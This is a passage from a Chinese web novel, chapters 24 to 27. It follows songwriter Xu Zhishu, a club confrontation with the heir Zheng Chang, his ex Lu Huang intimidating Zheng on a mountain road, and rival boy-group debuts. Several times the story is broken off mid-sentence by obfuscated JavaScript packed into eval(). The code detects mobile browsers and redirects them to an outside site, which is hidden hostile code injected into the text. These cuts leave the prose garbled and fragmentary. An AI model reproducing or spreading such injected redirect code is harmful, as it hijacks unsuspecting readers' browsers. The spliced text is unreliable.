休息区是用绿植围住的,在冬季看到这样旺盛的绿植,让人倍感丰富的生命力。 “许先生,需要水吗?”服务生询问。 许稚舒摆摆手:“我小坐一会儿就回去了。” “好的。” 服务生刚离开没一会儿,就听到另有服务生急呼道:“先生,这边的休息区有人了,您可以到另一边的休息区小坐。” 但对方像没听到一样,随着服务生的劝阻,硬是来到了许稚舒这边。 许稚舒抬眼一看,心情立刻差了一半,来的不是别人,正是郑昌。 “又见面了。”郑昌直接坐到了他对面。 服务生很是为难,不是他没劝,而是这位客人太不守规矩了。 没等许稚舒说话,郑昌就不耐烦地看向跟来的服务声,挑眉道:“新来的?滚我远一点。就算是你们经理,也不敢得罪我,少管闲事。” 服务生并没有走的意思,这是他的工作。 郑昌不耐烦地道:“你不知道我是谁吗?那就跟你同事打听打听。在这儿还没人敢不给我面子。滚!” 服务生犹豫地看向许稚舒。 许稚舒知道郑昌不是个好相与的,害服务生丢了工作没必要,就示意他可以先离开。 等服务生离开后,郑昌才道:“刚上楼看到个背影,我就认出是你了。我之前的提议你考虑得怎么样?” “郑先生,我的话说得很明白了。”许稚舒没给他好脸色。 郑昌不以为意,说:“我今天请了人来喝酒。是有头有脸的大佬,你跟我去陪一晚,把人家陪舒服了,给你一千万,干不干?” 显然,郑昌觉得就没有钱解决不了的事。 许稚舒之前觉得郑昌像条恶心的蛇,现在看更像是一具腐尸,没有人味,也没有人样。 “郑先生,我不会同意你的提议,无论你要出多少钱,都跟我无关。我现在之所以还愿意跟你说几句,是因为我有教养。但郑先生的教养,我是一点都没看到。”许稚舒并不想对着一具腐尸破口大骂,不仅不会觉得解气,还会因为这种人居然能调动他的情绪而感到人生被污染了。 “你别敬酒不吃吃罚酒。”郑昌显然没有耐心了,“我告诉你,在会馆的客人里,你就是那只蚂蚁,我这样的人想怎么样就怎么样,捏死你都不会有人在意。你但凡识趣就别让我动手,否则明天别人把你玩烂了,别怪我连件衣服都不给你。” 许稚舒后悔没让服务生给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522544|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送水了,不然这会儿水也不会浪费,肯定全泼郑昌脸上。 见他还不为所动,郑昌立刻站起来,对着自己的保镖喊:“把他给我拖包间里去!” 郑昌的保镖肯是听他的,立刻往这边走来。但下一秒,会馆的保镖就挡了上来。 “郑先生,会馆有会馆的规矩。”这一层的保镖负责人开口道。 郑昌立刻炸了:“我管你什么规矩!你们老板见到我爸也得客气三分。还真以为这里是什么正经地方?我要带走个人,谁都管不了!” 会馆保镖依旧不让。 郑昌的保镖此时已经撸起袖子准备干仗了。 郑昌嗤笑地看着会馆保镖:“你们也不过是打工的。我给你们一人十万,你们就当没看到。跟我的人打起来,你们未必占得到便宜,被开除就更不值当了。” 会馆保镖依旧没让。 郑昌这下是真急了,招呼自己的保镖就上了。 就在双方要交手的时候,总经理赶了过来。 “郑少,您这是何必呢?”会馆的总经理带着客气的微笑,一看就是见过不少事的。 “不是我何必,是你们的人太不懂事了。我不过是要带走一个人,至于吗?”郑昌见总经理都来了,势在必得的劲儿更明显了。 “的确是我们的人不懂事,让郑少不高兴了。”总经理笑意不减,语气依旧客客气气。 “知道就好。”说着,郑昌招呼自己的保镖,“过来,把人带走。” 三个保镖刚上前两步,挡在前面的会馆保镖就直接动手了。几下就将郑昌的三位保镖按在了地上。 郑昌脸色铁青,冲着总经理道:“你们在干什么?为了一个混娱乐圈的烂货得罪我?你们脑子有病吧?!” 总经理看着郑昌,眼里的笑意更浓了:“不好意思,郑先生。许先生是我们的贵客,路少可是叮嘱过许多次了,谁也不能动许先生一根手指头。您要是有什么不满,不如找路少聊聊?” 许稚舒不知道总经理这话是应付郑昌的,还是路煌真的嘱咐过。不管怎么说,会馆的处理态度他是满意的。 “艹……” 没等郑昌骂完人,总经理就和跟来的楼层经理说:“送郑少回去。跟郑少请的客人说一声,郑少因为会员卡失效,不能在这儿就餐了,请客人们换地方吧。” “妈的,你们疯了吗?我们郑家是你们能得罪的吗?我告诉你,这件事没完……”郑昌叫骂着,被会馆的保镖拖走了。 他的保镖也跟着一起被丢了出去。 “抱歉,许先生,让您受惊了。”总经理立刻像刚才什么都没发生一样,微笑着同许稚舒说。 “没事,多谢。”许稚舒再次确定路煌让他聚会首选这里是没错的。 “您客气了。这样的事本来就不应该在会馆发生,况且路二少每次来都要嘱咐,就怕您在这儿玩得不开心。”总经理说。 许稚舒也笑了,看来总经理说的“嘱咐”不是应付人的。 “麻烦你们了,还要听他这些嘱咐。”许稚舒说。 “应该的。这家会馆路大少也是股东之一,大少带路太太来玩时,知道您也是这里的会员,这两位也嘱咐过要多照顾您的。”总经理跟他说这些,明显是把他完全划到路家那一边了。 许稚舒还真不知道路煊也参股了,路煌根本没提过。不过想来也的确没什么必要提,路煊明显是不参与管理的。 “不管怎么样,还是多谢你解围了。”许稚舒站起身。 “都是我应该做的。我送您回包间。”总经理给许稚舒让出地方,请他先走。 许稚舒微笑着点点头,心里有点想笑,就算分开了,路煌依旧能在他想像不到的地方护住他,真不知道是应该高兴还是惆怅。 24.第24章 聚会结束隔天,许稚舒工作室就正式放假了。 许稚舒拿上行李,去了棕绵岛。 这里属于小众旅行地,艺人们很喜欢来这里旅行。海岛四季阳光明媚,是由好几个岛屿串连起来的旅行区。在冬季待得厌烦,来到处于夏季的岛屿小住一阵,是换一个地方,也是换一个心情。 这个地方许稚舒是第一次来,除了路程上需要做飞机,再坐客车,最后做船,比较折腾外,别的倒还好。 岛上风景很好,酒店干净,餐饮多样。一个个独立的带院子的小屋给予的私人空间非常充足,非常符合许稚舒想要的度假风格。 “哥,听说你去度假了?” 许稚舒正整理着行李,纪西卓就打来了电话。 他的工作室跟贺漾工作室一起办年末聚会时,也问了纪西卓和单长清,但两个人都有工作在身,安排不开时间,就没有一起。 “对,刚到地方。”许稚舒语气带着笑意。 “我也想去!”纪西卓是他们五个人里年纪最小的,但今年也二十六了,可跟哥哥们说起话来还像个小孩子。 许稚舒笑出了声:“这才单干几天,就想偷懒了?” “不是想偷懒,不过哥,一个人干活真没意思。”纪西卓抱怨,“以前有什么事,都能跟你们商量着来。现在什么事都得我自己来。就算我这个年纪开始担事了,可我真的不适应。” “咱们五个谁不是呢?”许稚舒自己也还没有完全适应现在的工作状态,否则按之前的工作模式,他的工作不会这么松散。 纪西卓叹气:“好想跟你们聚会啊。” “你的戏什么时候拍完?”许稚舒问。聚会肯定是要组织的,但凑时间的确有点困难。 “二月底吧。”纪西卓这次机会是之前上那个很贵的表演课时,老师帮他争取的机会。虽然只是个小配角,戏份不多,又比较分散,但剧组里都是大前辈,可以学的东西很多。没戏的时候去片场看别人怎么表演,也能有收获。 “那只能春节的时候再约了,如果咱们都在源海市的话。”许稚舒算算时间,春节的假期不算短,不过他并不准备出门了。 “要不我去找你玩两天吧!”纪西卓活跃的心思还没灭。 许稚舒笑说:“算了吧,路上还不够你折腾的。到时候你时差都没倒完就得回去,找来我就是换个地方睡觉。” “好吧……”纪西卓又蔫了,“贺哥和单哥都忙,想让他们来找我比我去找他们还难。” 知道许稚舒跟路煌分手了,纪西卓作为团内乖仔,这会儿肯定不会提路煌。 “那等我旅行结束去看你吧。”许稚舒说。 “真的吗?!”纪西卓立刻又精神了。 “嗯,我还没看过剧组拍戏,去看你,顺便涨涨见识。”许稚舒拍过不少MV和广告,但还没拍过戏,对剧组的确有好奇。 “好,那我等你!”纪西卓高兴了,仿佛自己打拼的日子也没有那么苦逼了。 挂了电话,他的点的酒店餐食就送到了。简单吃了一点,许稚舒进入倒时差的模式,就算这边夜生活很丰富,许稚舒也不想过昼夜颠倒的日子。 两天后,许稚舒的时差已经OK了,才在这天下午去了岛上的咖啡厅,喝上了来这儿后的第一杯咖啡。 今天阳光很好,晒又没有那么热,有风吹过时还有一点清爽,没有因空气潮湿产生的黏腻,非常适合坐在外摆的区域,头上有遮阳伞罩着,又能看到前方被阳光照得充盈的风景,是放松心情的不二之选。 咖啡店里人不多,也没有BGM,许稚舒慢慢喝着咖啡,尽量让自己不去思考,得到更好的休息。 一男一女牵着手走进来,女人长裙的布料在阳光下反射出的光泽一眼就能感觉到价值不菲。 许稚舒心想这样的料子一定很透气,吹着海风也会很凉快。只是男装他好像没见过类似的布料,有点可惜。 “稚舒?” 正想着,就听那个女人叫了他的名字。 许稚舒诧异地抬头,就看到同样诧异的陈玉欣和路煊。 “好巧。”诧异过后,陈玉欣的欣喜更多一些。 许稚舒跟路煌刚分开的那阵,陈玉欣心里是非常不好受的。随着日子一天天过去,看着许稚舒和路煌在各自的道路上都发展得很好,她心里也慢慢没有那么纠结了。愧疚还是会有,但不至于那么内耗了。 “路太太,路少。”许稚舒客气地站起来。这是他第一次见路煊本人,即便路煊在气质上跟路煌不像,可一看就能知道他们是兄弟。 “你好。”路煊主动伸出手。 许稚舒与他浅浅地握了一下。 陈玉欣趁机打量着许稚舒,见他气色比之前在超市见到时好了许多,她也终于能安心一些了。 “一起坐好吗?”陈玉欣试探着问。 在异国他乡遇到认识的人,而且还都是来度假的,如果许稚舒不同意,反而挺破坏气氛的。见路煊也没有反对的意思,许稚舒就点了头。 陈玉欣特别高兴,忙说:“你要不要吃蛋糕?” 许稚舒摆摆手:“这里的蛋糕甜得像要谋杀一样,建议你点咸口的,还正常些。” 陈玉欣也是第一次来这边,立刻笑着接受了许稚舒的提议,让路煊先坐,她进去点餐。 路煊坐到许斜对面的位置,把正对面留给陈玉欣,这里的凳子比较矮,可路煊坐下来完全没有被压气场,许稚舒恍然觉得这人不像是来喝咖啡的,更像是来谈收购咖啡店的。 “一个人来旅行吗?”路煊主动开启话题。 虽然是第一次见到本人,但路煊的态度并不疏远,气氛也跟着随意起来。 “对。路少和路太太是休年假?”他听路煌说过,路煊是个工作狂,每年除了必要的假期,几乎不会请假。 路煊点头:“一年没陪玉欣旅行,正好年底事情都忙得差不多了,抽空出来走走。” 说起来,许稚舒跟路煊并没有特别多的话题可聊,尤其是在路煌不能提的情况下。 不过许稚舒也没让气氛尴尬:“路少和路太太感情真好。” 路煊微笑着点点头。他发现许稚舒跟他说话很从容,却并不与他对视。不知道许稚舒自己发现没有,这是一种逃避的心态。并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后陈玉欣又跟他聊起他写的歌,工作忙不忙之类的,让他仿佛回到了还在和路煌谈恋爱的时候。那时候见陈玉欣,她也会关心地问他这些。 自己的咖啡喝完,许稚舒早没了看风景的心情,借口自己还要倒时差,就先一步离开了。 对于跟路煌的感情,他已经想开了。也通过《释然》这首歌表达过了,在他这里应该说告一段落了。可看到路煊和陈玉欣在聊天中不经意地牵手,细心地给对方递纸巾,路煊掏出皮筋让陈玉欣扎起被风吹乱的头发……对许稚舒来说都像是一场新的折磨。 他甚至会控制不住的阴暗地去想,如果分手的不是他和路煌,而是路煊和陈玉欣,那此刻享受幸福的会不会是他? 以为放下了,又在意想不到的地方被扎了一刀,这种感觉太难受了。明明他已经做得够好了,为什么总有外力要逼他?! 他想给自己一巴掌,问问自己不是都放下了吗?为什么还要那样想。可他不想连自己都要欺负自己,如果那样,就真的没有人心疼他了。 没有过多犹豫,许稚舒拿出行李箱开始收拾东西,他要尽快离开这里,哪怕先离开这个岛也行。 25.第25章 初黎娱乐和纬弦娱乐对自家新男团的宣传同时展开。在这个年末的时间段时,眼花缭乱的信息本就多,现在两个男团要同一时期出道,其中一个对标的还是Infinite,话题度一下就顶上去了。 【纬弦推出的就这?还对标Infinite?】 【话别说太满,谁不是从青涩的时候走过来的?到时候怕你们爱得太亖!】 【还是得作品说话,我看纬弦推出的这五个人挺有希望。】 【我倒是更看好Breeze,虽然没出正脸照,但剪影这身材,我就先吸为敬了!】 【初黎娱乐之前推出过几个团,不都糊得亲妈都不认识了吗?这次也别抱希望了。】 【我听到一个小道消息,说初黎娱乐已经换老板了。说不定有惊喜呢!】 【团体还是得有经验的公司打造才好看。期待一下!】 Breeze的宣传许稚舒已经无心在意了。他拖着行李暂时找了一家酒店小住。这次出门他带的都是夏天的衣服,所以就算换地方,也得是季节相同的地方。 但此时,许稚舒只觉得疲惫,没有心情去想自己要去哪儿。好像去哪儿都无所谓,这个假期已经开始糟糕了。 人在陷入低谷的时候,好像总能等来一只将其拉出去的手。哪怕只能起到一点点作用,哪怕那只手松开后,会掉得更深,也好过什么都没出现过。 许稚舒此时的这只手来自杨观。 杨观不知道他出门旅行了,联系许稚舒是因为快圣诞了,他想问许稚舒有没有空,让他尽一尽做哥哥的责任。这才知道许稚舒不在国内。 “你跑哪儿去了?”杨观问。 “原本在棕绵岛玩,但不太适应,现在正在考虑下一个去处。”许稚舒也想找个人说说话,杨观现在打来电话,就成了他的浮木。 杨观立刻提了个地方,又说:“我们在哪里集合怎么样?正好我想去挑几支葡萄酒。这样春节前就不用再跑一趟了。” 无论杨观是真需要,还是找借口想和他一起过节,对许稚舒来说都可以接受:“可我没带厚衣服。” “我给你带。”说着,也不等许稚舒拒绝,“机票我这边给你订,你今天好好睡一觉,明天出发。我们机场见。” 被安排对想独自享受假期的许稚舒来说原本是不可接受的,可现在他需要有一个人给他指一个方向,让他离开当下这个环境。 “好,订好了你发我信息吧。”许稚舒心里舒服多了。 挂了电话没出二十分钟,航班信息就发过来了。许稚舒再次被拉回休假的状态,哪怕一个人变成两个人也行。 * 入夜,盘山路上—— 郑昌驾驶着新买的跑车在空无一人的山路上行驶。发动机的轰鸣在山间徘徊,像头暴躁的狮子,警告着领地周围的不速之客。 这个季节,就算是再爱玩的富二代,也很少会去跑山路,横风会影响车子的平衡,尤其是速度飙起来之后。另外,如果再下点小雪,就更难搞了。 整条山路上只有郑昌一辆车,他最近气不顺,这一路开得特别凶。 从前几天被从盛夏会馆“请”出来,他就觉得自己丢尽了脸,当天要谈的生意也黄了,回到家他父亲不管三七二十一,先把他骂了一顿。 他继母怀孕,他很不爽。不过后来他也想明白了,就算孩子生下来,等那孩子长大,他早就把家业握手里了。可随着月份增大,他继母防他跟防贼一样,还跑到国外养胎去了。这落在别人眼里,不就是妥妥地防他吗? 从他继母办生日宴开始,他就特别不顺。不但他父亲交给他的事一件都没做成,还要回家听训。怎么想怎么憋屈。 愤懑中,郑昌又将油门踩下些许,车子轰鸣着往前冲,像要突破某种束缚一般。 这时,一辆黑色的车子像幽灵一样突然出现在他车后,把郑昌吓了一跳。 “他妈的,哪来的神经病!”郑昌皱眉骂道,不禁加快了车速。 但后面的黑车明显就是冲他来的,一脚油门也跟了上来。 郑昌立刻发现了不对劲儿,不过他一开始还以为对方只是想跟他比车速度。开出一段距离才发现,黑车在超过他后,居然别他的车。 郑昌立刻压下车窗大骂:“你他妈的找死吧!” 山路飙车本就危险,别车跟害命有什么区别?! 不过黑车根本没理他,瞬间降速,让郑昌轻易超车,随后又踩紧油门跟了上去。 看到后车距离越来越近,对方对没有超车的意思,郑昌意识到这是想追他的尾!他不得不猛踩油门,持续加速。 就在这样超速的你追我赶中,黑车像逗狗一样,一会儿被落下一段距离,一会儿又追上来。郑昌在车里骂得口水都要干了,可谁叫这条路上根本没有别的车,他就是想找人帮忙都看不到影。 当黑车再一次逼近时,郑昌紧绷多时的神经因为方便盘多打了一些,直接失控,车子开始摆横。黑车根本没有减速的意思,直冲着他就来了。 郑昌下意识地猛打方向盘,车子速度是降了,但还是不受控制地整个右侧蹭到了山壁上,这才刹停。 黑车贴着他的车开过去,然后又换成倒挡开了回来,停在了郑昌车子旁边。 郑昌惊魂未定,打开车门就骂:“艹你……” 话还没说完,就见黑车的车门打开,路煌下了车。 郑昌顿时觉得荒谬,他自认没得罪过路煌,甚至对路家人都是绕路走,路煌这是什么意思?突然,他脑子里闪过一念,“许稚舒”这个名字出现在他脑子里。可还没等他做出下一步反应,路煌就一脚把他的车门踹上了。 幸好他没把腿迈出去,否则这一下肯定得折。 路煌俯身,一手压在他落下的车玻璃上,身上那种暴躁的气息比郑昌还重,压得郑昌大气不敢出。 “离许稚舒远一点。让我知道你再敢跟他说一句话,或者离他近过十米,就不是让你撞山这么简单了。”路煌盯着他的眼睛,仿佛要把这段话烙到他的骨头里,“我说话算话。” “路煌,你是疯了吗?!就为了许稚舒?!”郑昌已经吓得应激了,大吼大叫的也是为了释放自己承受不住的害怕,他看得出,路煌是真的要他死! “别提他的名字,如果你今晚还想下山的话。” 郑昌知道这不是威胁,路煌真的敢干。这条山路没有监控,本来就是有待开发的地方。如果他真因车祸死在这儿,警方也只会认为是意外。 郑昌都要气吐血了,但也只能往肚子里咽,一句多余的话都不敢说了。 路煌回到车上,扬长而去。 盛夏会馆的事还是会馆老板亲自打电话跟他说的。他当时就想——郑昌还是消失比较好。 只要他活着,就没有人能动许稚舒,这是他的底线。 * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许稚舒站在窗边,看着雪一团一团地落下,想拍张照片,却因为玻璃反光,拍不出那种美。 “别看了,过来吃饭。”杨观叫他。 “来了。”许稚舒走过去。 两个人没点圣诞标配的火鸡,只点了喜欢吃的东西。 “那个男团出道,你真不看看?”杨观给许稚舒倒了半杯红酒。 品质好的红酒不醉人,许稚舒能喝一些。 “有问题的话阿言会联系我。”许稚舒切着牛排,酒店的牛排品质非常好,一般晚上在酒店吃晚餐的话,他都会点。 “难得看你完全不管工作上的事。”杨观觉得奇怪,却并没有深究。 “换一种工作状态。”许稚舒说得随意,其实是他现在不想看到任何跟路煌有关的人事物。 “纬弦的新男团也快出了吧?”杨观往面包上放上一块蜜瓜,又放上一片伊比利亚火腿,一口气放进嘴里。 “嗯,这次杨阅倒是学乖了,没出来大放厥词。”许稚舒还等着他放话呢。 杨观笑说:“他自己的能力有多水他可能不清楚,但市场会给他答案。安芷那张牌打输了,往节目上送自家音乐人也没得好。他再不收敛点,在公司内部恐怕没人愿意听他的了。” “说实话,我觉得他有点蠢。哪怕他接手了公司按部就班地经营,也比现在强。”这话许稚舒现在只能跟杨观说了。 “他的视野宽度也就只能这样了。不过这次估计他得下足了功夫打个翻身仗才行。” “拭目以待。”许稚舒与他碰杯,只要Breeze这次成绩立住了,哪怕纬弦的新男团表现也不错,以后也不过是形成竞争的态势,来日方长。既然杨阅打响了第一枪,之后什么时候结束就不是杨阅说的算了。 26.第26章 纬弦的新男团Serein定于27日晚六点正式发布出道曲。从一大早上开始,“Serein”相关话题就已经开始在热搜上预热了。 【这应该是年度最受期待的男团了!】 【不知道会是什么风格,快到晚上六点吧!】 【纬弦做音乐还是值得信任的。】 【五个男生气质都不错,听说这次还是由跟纬弦长年合作的音乐人制作,品质肯定有保障。】 【不是粉,但很期待。】 这样的预热在现在的宣传环境中不少见。可杨阅之前的言论和对标,Infinite的粉丝可没忘,都憋着劲儿,想看看能出个什么风格的歌。 与Serein明显的官方宣传,话题下没有多少真人粉讨论的情况不同,Breeze的话题还在持续加温。《独立》的成绩也在往各大榜单的前十冲。在这期间,初黎娱乐陆续放出了歌曲的舞蹈版和练习室版,让粉丝们每天都能看到新东西。 晚上六点,Serein的新歌《新星》发布。很快就有各大音乐人帮忙转发,在前期造势上明显是下了工夫的。话题一度上了热搜一位。 【就这?】 【对标Infinite?我大牙都要笑掉了。】 【哈哈哈,他要不是不对标,我勉强能说现在男团平均就这个水平,没啥失望的。可一对标,我都觉得这五个弟弟可惜了,遇上这么个发瘟的老板。】 【可以看得出弟弟们很努力,但这歌未免也太拉了吧?!】 【纬弦从哪挖出的这种陈年老调,养了那么多音乐人,天天吃老本吗?】 【安芷的新歌就够拉了,没想到后面还有坨更大的。安姐,你快跑吧!!!】 【原本还想看两个新男团分庭抗礼,结果Serein在这儿满地乱爬顶胯玩性感,闹呢?!】 【凭什么男团不能性感?你们就是山猪吃不了细糠。】 【哈哈,这“细糠”你自己留着慢慢吃,别吃撑了哈。】 …… 在这样分裂的口碑中,Serein的新歌出乎预料地进入了其中三大音乐排行榜的前五十。对一个新人团来说虽不像Breeze这么爆,可也算拿得出手了。 对于这样的成绩,粉丝和非粉吵得更凶了。新团粉丝正是需要凝聚力的时候,来一场“大战”,正好能达到凝聚的效果。而非粉分两派,一派是Infinite的粉丝,她们觉得纬弦拿出这样的团来,是对她们的侮辱;一派就是纯路人了,看着好评去听歌,结果被辣出来了。 无论怎么说,Serein这个团总归是在大众的视野中留下印象了,这对纬弦来说至于是宣传上的成功。 只不过纬弦想独霸热度,初黎娱乐可不同意。 Breeze官博超绝不经意地放出了几张照片,是Breeze出道前一天在公司与工作人员的合照。这些合照里虽然没有许稚舒,但有路煌! “皇叔CP”的粉丝立刻扑了上来! 【卧槽槽槽槽,这是什么情况?!!】 【路煌怎么也在初黎娱乐?】 【所以这两个人是在初黎有合作是吗?!】 【想到他们在背着我们悄悄见面,我就觉得我嗑的CP还没散!】 【路煌不是退圈了吗?他在初黎干什么?】 在CP粉的疑惑中,Breeze官博给了回复,表示路煌现在是初黎娱乐的老板。 这下不止CP粉,团粉和路煌的粉丝全都来劲儿了。对团粉来说,他们越有合作,团魂就越坚固,哪怕是已经解散了,精神不能散。而对路煌的粉丝来说,看他在圈外发展得好,也是粉丝的荣耀。 几乎是毫不费力的,话题热度就把Serein给压下去了。Serein又是对标Infinite的,初黎推动的Breeze在热度上也压了Serein一头,Serein被双打,出道日可以说是捧嘲一体,乱中有序,热中带糊。 由于旅行的地方连续下雪,杨观不放心许稚舒一个人待在国外,所以推迟了回国的时间。许稚舒不想耽误杨观的计划,再考虑到回国倒时差的问题,于是两个人于十二月最后一天返回国内。 抵达时已经是晚上九点了。杨观的司机来接的他们,先送许稚舒回去。源海市跨年的氛围很足,路上到处装饰着迎接元旦的标语。市郊还能看到放烟花的,让清冷的冬季都温暖起来。 “早点休息,有事给我打电话。”帮许稚舒把行李箱拿下来,杨观嘱咐道。 越是跟许稚舒接触,杨观越觉得自己做兄长的责任很重。即便现在的许稚舒根本不需要他照顾,可他总不免惦念着,也总会想到许稚舒刚失去母亲的时候,让他没办法不管。 “知道了。帮我给袁姨问好。”许稚舒笑说。 他说的“袁姨”就是杨观的母亲。 “好。”看着许稚舒上了楼,杨观才回到车上。如果不是许稚舒不愿意,他是挺想带许稚舒回外公家过元旦的。 这个时间,各台的跨年晚会都相继结束了。许稚舒一点都不困,准备泡个热水澡,然后把休息期间堆积的邮件回复一下。 在等热水的工夫,他的手机响了。居然是郑夫人打来的。 许稚舒脑子快速转着,那天生日宴后,他就没再见过郑夫人,后来是从路煌那儿得知她怀孕的。郑夫人这个时间打电话过来,肯定是有要事。 许稚舒接了电话:“喂,郑夫人,好久不见。” “稚舒啊,好久不见了。有没有打扰你?”郑夫人语气相当客气。 “没有。今天跨年,郑夫人没去聚会吗?”他一个男人,不好问人家怀孕的事,就挑了个不会出错的话题。 “我不在国内,到外面来养胎了,什么聚会都没有,闷得不行。”郑夫人笑说。 她把话题带到这儿了,许稚舒便道:“恭喜你了。” “嗐,也不是什么了不起的大事。”可能是听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到元旦假期结束,许稚舒才完全调整好心情,回到正常的工作当中。 Breeze和Serein的新歌以及跨年舞台,他也是拖到现在才看。 不得不说,初黎和纬弦对自家的新团都是上了心的。跨年舞台都是动了关系,才能在没出道前就定好,出道后第一个正式舞台就是跨年。 “哥,奶茶。”乐言进门,把外卖刚送来的奶茶拿了上来。 “怎么改奶茶了?”许稚舒倒是不挑,只是随口一问,音响里还在播放着Breeze的《独立》。 “李姐想喝,正好这又是元旦新品,就点来尝尝。”说着,乐言又从自己的背包里掏出一摞整理好的文件,“哥,这是休假期间所有联系我,想与你合作的公司发来的作品需求,我已经整理好了。” “辛苦了,不用这么赶的。”许稚舒看着这些文件,既高兴又头疼。有工作固然欣喜,但忙大了也很累。 “反正我闲着也没事。突然放这么多天假,我都闲得快长草了。李姐也是,我们俩约着逛上三天街,才觉得稍微好一点。”乐言说。 许稚舒被逗乐了,突然想到了纪西卓,说:“我答应去给西卓探班,你帮我联系一下他的团队,这个月安排两天。” “没问题!”乐言不是工作狂,但假期对他来说够用就行,休多了人会懒怠。再说,他现在正是打拼的年纪,不需要那么多假期! 27.第27章 在Breeze出道前,许稚舒就要求他们必须要有现场演唱的实力。但凡真正热爱音乐的歌手,是不会允许自己假唱的。哪怕是偶像,既然吃了这碗饭,就要拿出吃饭的态度。 所以Breeze的跨年舞台虽然还有着刚出道偶像的青涩,但现场实力已经相当拿得出手了。这也为他们圈了一波粉。 Serein的舞台许稚舒也看了,舞台造型很用心,舞台表现先不论风格如何,至少每个人都很卖力,但全是假唱。 如果Breeze也是假唱,还不至于被拉出来对比,可偏偏Breeze是全开麦,这就导致Serein的表现感官上很不尊重舞台。 两个新团的粉丝从出道吵到年后,同时热度不减的还有许稚舒、路煌和Breeze的合作,结果就是无论是话题度,还是歌曲热度上,二打一,Serein都是完败。 许稚舒心情挺不错。连续三个决策都没能拿到可观的成绩,杨阅什么想法他不太在意,倒是想到杨立致新公司没起来,纬弦又一副要趴窝的模样,他就觉得很不错。 给纪西卓探班这天是个周五,许稚舒提前订好了咖啡和甜品,等他到的时候,这些也正好可以送到,可以当作大家的下午茶。 有爆曲在身,许稚舒的到来自然受到了剧组的欢迎。许稚舒并没有借机交际的打算,他就是来探班的,跟剧组导演、副导演等工作人员打了招呼后,就默默地坐到一边看纪西卓拍戏。 经过专业的培训,纪西卓演戏已经有模有样了,至少在许稚舒这个外行看来,表演很自然,也很好地融入进了角色。这个角色并不是帅哥类型的,纪西卓通过造型把自己弄得有点土气,贴合角色,也没有硬凹架子。 随着导演喊“过”,纪西卓今天的戏份就拍完了。他兴冲冲地跑到许稚舒跟前:“哥,咱们可以回去了。” “先让化妆师帮你卸妆吧,你自己回去应该挺难弄的。”这场戏是纪西卓受伤了,脸上、衣服上都涂了假血,看着有些难搞。 “没事,我回去弄就行了。我有经验。”作为小配角,纪西卓不大愿意占用化妆师的时间。如果还是在团期间,他肯定会让化妆师帮他收拾好了再回去,毕竟他们都有独立的化妆师,不会耽误其他人。可剧组人多,他又不是主演,化妆师顾不了那么多。 这些许稚舒是不了解的,不过他也没多说,等纪西卓把衣服换下来,他们就坐上纪西卓的车回酒店去了。 剧组的拍摄场地条件很一般,提供的住宿也很一般。像咖位高的主演会在市区给安排更好的酒店,而其他人就只能跟着剧组住周边。 纪西卓就是那批跟着剧组住的,导演他们也住这里,纪西卓作为一个演戏的新人,也不好要求太多。 而这些看在许稚舒眼里不免唏嘘,纪西卓从出道到现在,一直顺风顺水,什么时候住过这种级别的酒店?别说纪西卓了,他出道后也没再住过五星以下的酒店了。 “哥,你随便坐,我先卸妆。”纪西卓回屋就直冲洗手间去了。 “你慢慢卸,不急。”许稚舒坐到沙发上,打量了这个面积不大的标间。 纪西卓的助理进去帮忙,两个人弄能快一些。 纪西卓的经纪人已经帮两个人预定了晚餐,许稚舒会在这儿住一晚,吃饭上纪西卓的团队肯定要包的。 “他在这儿住得惯?”许稚舒不禁小声问道。 纪西卓的经纪人是Infinite原经纪人的姐姐,因为没签任何公司,所以被拜托过来带纪西卓。 “一开始不行,晚上睡不好。现在已经习惯了。”这位经纪人带的一直是演员,手里影视资源多,也知道怎么带新演员。虽然前面要吃些苦,但以后会好的。 如果是贺漾他们,许稚舒倒不至于这么上心,可纪西卓一直是他们的老幺,就算两个们只差了一岁,许稚舒也是拿他当弟弟的,不免心疼小孩子吃苦。 看出了他的不满意,经纪人笑说:“演员给同行能吃苦耐劳的印象很重要,人缘混好了,以后有差不多的角色,前辈们也乐意推荐。” 许稚舒点点头,经纪人比他专业,他不会置喙对方的决定。 “他想当演员,我是帮不上忙的。但如果有什么需要我的地方,怕他不好意思,你直接联系我就行。”对于原经纪人推荐的人,许稚舒是放心的。 纪西卓的经纪人笑说:“放心,我肯定好意思麻烦你。咱们都是为了西卓,他发展好了,我就可以养老了。” 纪西卓卸完妆,经纪人和助理就先离开了,说等晚饭送达了,再给他们送过来。 “拍戏看着挺辛苦的。”许稚舒喝着从剧组带过来的咖啡。 “的确比预想的辛苦,和当歌手跑行程的辛苦不一样。”纪西卓说不上哪个更轻松,只是他更想做什么而已。 “任何事从头开始,过去的经验都可能不做数了。不管怎么说,你在人气起点这方面已经比真正的新人高了,这是你的底气。”许稚舒鼓励纪西卓。 “的确,明天会有粉丝过来探班,从粉丝那里获取能量真的很重要。”纪西卓也不知道自己转型对不对,会不会有好的结果。可已经走到这一步了,就得继续走下去。 “我给你定了咖啡车,明天会开过来。正好请你的粉丝喝咖啡,也有合适的拍照地。”许稚舒说。粉丝以女孩子居多,大冷天的还是要喝些热的东西才行。 